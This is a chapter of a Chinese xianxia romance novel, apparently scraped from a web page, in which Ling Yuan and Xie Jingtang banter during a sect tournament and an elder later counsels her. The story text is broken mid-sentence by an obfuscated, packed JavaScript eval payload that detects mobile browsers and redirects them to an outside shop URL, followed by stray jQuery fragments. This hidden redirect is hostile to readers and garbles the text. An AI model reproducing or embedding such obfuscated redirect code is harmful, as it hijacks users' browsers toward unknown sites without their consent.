宗门大比如火如荼的举行着,问道峰视野开阔,灵远只用坐在院子里,就能把水镜上的画面尽收眼底。
她挪了根藤编摇椅到树下,懒懒半倚着,手边搁着一碟灵果和一壶清茶。
到了决赛阶段,主峰弟子的优势便突显出来,他们有最好的师父指点,最合适的功法修炼,基础扎实无比,远远甩开旁人一大截,不是其他人不够努力,实在是平台差得太远。
灵远看着水镜里徐无思一剑将对手逼退三步,端起茶饮了一口,冷不丁地想:谢惊棠好几日没来了,也不知道在忙些什么。
意识到自己的念头,她连忙把它驱逐出脑海,刚成功清空思绪,院门便响了起来。
谢惊棠推门走进,见她优哉游哉的模样,唇角弯起,灵远下意识想坐起来,被他轻按住肩膀。
“别动,好好歇着。”
他在她身旁坐下,打量她的面色:“你的伤怎么样了?”
“好多了。”
“这几日事务缠身,没来看你。”他自然而然地问,“有没有想我?”
灵远眼神飘忽:“......还行。”
谢惊棠笑了,挪动椅子往她身边靠了靠,两人紧紧挨着,微风穿过庭院,拂起灵远的一缕发丝,悠悠落在他的肩头。
谢惊棠取出一只琉璃杯,里头盛着清亮的液体,隐隐飘出几缕灵雾。
“尝尝看,特意给你带的。”
灵远接来抿了一口,滋味清甜,像蜜桃又像青提,一股灵流滑入腹中,轻轻冲刷过经脉,带着微微的凉意。
她不自觉地又抿了一口,眼睛微微眯起。
“好喝吗?”谢惊棠笑着问。
“嗯。”灵远想起那一匣子衣裳首饰,偷偷看了他一眼,还是不敢提归还的事。她在心里叹了口气,觉得自己大概是没什么出息了。
谢惊棠见她捧着杯子发呆,轻问:“还要吗?我这里还有。”
灵远摇摇头,把最后果汁喝完。
“这是红尘界特产的灵果,你若喜欢,以后我们栽些在园子里。”
灵远默默听着,心想:原来他来自红尘界吗?
谢惊棠顿了顿,放缓了语气,像在斟酌措辞:“小远,有些事我不方便告诉你,是怕你知晓太多,会招来无妄之灾,希望你能理解。”
灵远点点头,修真界探查的手段层出不穷,搜魂、读心、因果追溯,每一样都防不胜防,有时候无知确实是一种保护。
“那你呢?”谢惊棠轻问,“你也有什么事情不能告诉我吗?我不知道你为什么要故意输掉比赛,剑冢是多少修士求而不得的机缘,你是不是有什么苦衷?”
灵远垂下眼睫,阳光透过梧桐叶的缝隙落在她脸上,明明灭灭。以她的身份,若是逃离玄真,一定会引来两界追捕,何必连累其他人?
她回道:“没有什么。”
谢惊棠看着她低垂的眉眼,没有再追问,只将一枚传讯玉佩塞进她手心:“若是遇到什么难以应付的事,就传讯告诉我,不要自己硬撑,知道吗?
灵远摩挲着玉佩上的桃花纹路,心头泛起一阵复杂的情绪。过了好一会儿,她才轻声道:“其实你不用对我这么好,我们也刚认识不久。”
谢惊棠闻言,伸手捧起她的脸,直直望进她的眼底,目光深邃而专注:“小远,你听好,我不是无缘无故对你好,我也有自己的企图。”
他压低声音,“而且我也没你想得那么好,为了达到目的,我可是什么都做得出来,所以记得给我传讯,知道吗?”
灵远眼睫颤了颤,轻应:“嗯。”
“真乖。”谢惊棠笑着亲了她脸颊一下,灵远往后缩了缩,他便放开了她,两人静坐着观看比赛。
水镜中,对决已进入白热化阶段,擂台上剑光交错,灵力层层席卷,一浪高过一浪。
灵远盯着水镜,沉默许久,终是闷闷开了口:“你有没有什么需要我做的?”
谢惊棠想了想,觉得这样的细水长流也很有温情,便温声道:“没有。”
灵远抿了抿唇。
过了一会儿,她又开口:“将来我会千百倍报答你。”
她接连两句,都是想划清界限,谢惊棠眸底的笑意淡了几分,俯身凑近她的耳边,哑着声:“小远,你知道要怎么报答,我才会满意吗?”
灵远绞着手指:“我会还你灵石。”
“我可不缺灵石。”谢惊棠低声道,将她垂落的一缕发丝撩到耳后,指尖擦过耳后那片薄薄的肌肤。
灵远身子微僵,结结巴巴地坚持:“不管怎么样,我会赚钱还你的。”
谢惊棠看着她紧绷的小脸,慢慢道:“这笔账不会有还清的一天,你还不清,我也不会让你还清。”
灵远还没完全品出他话中的深意,又听他悠悠补了一句:“再说了,你也不是赚钱的料。”
灵远有些不服气:“我只是......只是现在不太方便赚钱。”
谢惊棠忍笑摇头,故作认真地说:
“灵仙子,我最喜欢跟你们这样的剑修做生意了,你知道为什么吗?
“前阵子有个剑修来找我买陨铁,我说这陨铁是上古遗迹里挖出来的,修真界独一份,他二话不说高价买走了。
“还有上上次,一个剑修来找我买剑胚,我夸这剑胚通灵,非心性纯正之人不可驾驭,他一听,当即掏了数倍的灵石,还觉得自己捡了便宜。”
灵远越听越觉得不对劲,这些说辞怎么莫名耳熟?什么“修真界独一份”,什么“只认心性纯正之人”,前世她买东西时,那些商贩好像也是这么说的?
谢惊棠还在继续:“最妙的是,剑修大多认死理,认准了一个卖家就不爱换,你今天卖他一柄剑,明天他缺丹药了来找你,后天他缺符箓了还来找你,你开多少价他都信,他还觉得你人实在。”
灵远:“......”
她艰难开口:“你说的......都是真的?”
谢惊棠挑了挑眉:“你觉得呢?”
灵远沉默了。所以她从前买的东西,根本不值那个价?她岂不是亏了好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588259|205240||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多灵石?
想起她辛辛苦苦赚的钱就这么被坑走,一股闷气堵在胸口,上不去也下不来。谢惊棠瞧她一副憋屈的样子,哪里还忍得住,当场就笑出了声。
灵远愤愤地瞪着他:“你怎么能这样?做生意哪有骗人的!”
谢惊棠一脸无辜:“生意场上,哪有什么骗不骗的?一个愿打,一个愿挨罢了。”
灵远说不过他,端起桌上的茶灌了一大口。谢惊棠笑够了,见她脸颊微微鼓着,忙放软了语气:“好了好了,别生气,以后你想买什么,尽管来找我,我保证不骗你。”
灵远才不信他的鬼话,这人从一开始就想骗她,绝对是个奸商!
谢惊棠柔声道:“小远,过去是过去,如今我满心满眼都是你,事实摆在眼前,你还不信我吗?”
什么满心满眼,灵远的脸腾地烧了起来:“......你别胡说。”
“我可没有胡说,”谢惊棠敛了笑,表情认真起来,“我是真心的。”
他的眼神太专注,直直落在她脸上,让她无处可躲,灵远别开眼,小声地应了:“......好吧。”
随即匆匆把视线投向水镜,“我不和你说了,我要看比赛了。”
......
宗门大比落下了帷幕,喧嚣渐渐散去,生出几分曲终人散的萧索意味,灵远独自走在山道上,松风拂面,带着深秋的凉意。
她又收到了忘机的传讯,这位元婴真君虽然行事散漫,说话总没个正形,对她确实没有什么坏心。
她来到了第一次见面的大殿,连茶盏的位置都没怎么变,忘机坐在窗边,见她进来,朝她笑了笑,只是笑容里没了惯常的嬉皮笑脸。
灵远已经用行动表明了态度,拒绝了天阙剑阁的招揽,站在宗门立场,忘机固然觉得惋惜,可私下里,他很理解灵远的选择,对自己的亲人倒戈相向,终究还是太过残忍了。
忘机叹了口气,说道:“多余的话,我也不同你说了,如今两界局势稳定,你不必过于担心,只管安心修炼,护住自身便好。”
灵远躬身行了一礼:“多谢真君照拂。”
忘机沉默了一会儿,又道:“你天赋异禀,资质非凡,若专注修行,自有一番作为,莫要......沉溺情爱。”
灵远微微一怔。
忘机说:“秦鹤月,不是你的良人。”
灵远心弦颤动,脑海中,蓦地浮现另一个身影。
忘机沉声道:“筑基修士寿元三百余载,金丹修士可达千年,到了元婴境界,寿元便有五千年,世间化神大能,几乎寿与天齐。
“你现在还年轻,总觉得有些事很重要,好像无论如何也放不下,等再过个几百年,你就会发现,现在记挂的事有不值一提了。”
“修行之路,太多漫长,漫长到......”他没有说完,又叹了一声。
灵远闭了闭眼,她当然懂得这个道理,因为她已经......不年轻了。
她再度躬身:“多谢真君提点,弟子铭记于心。“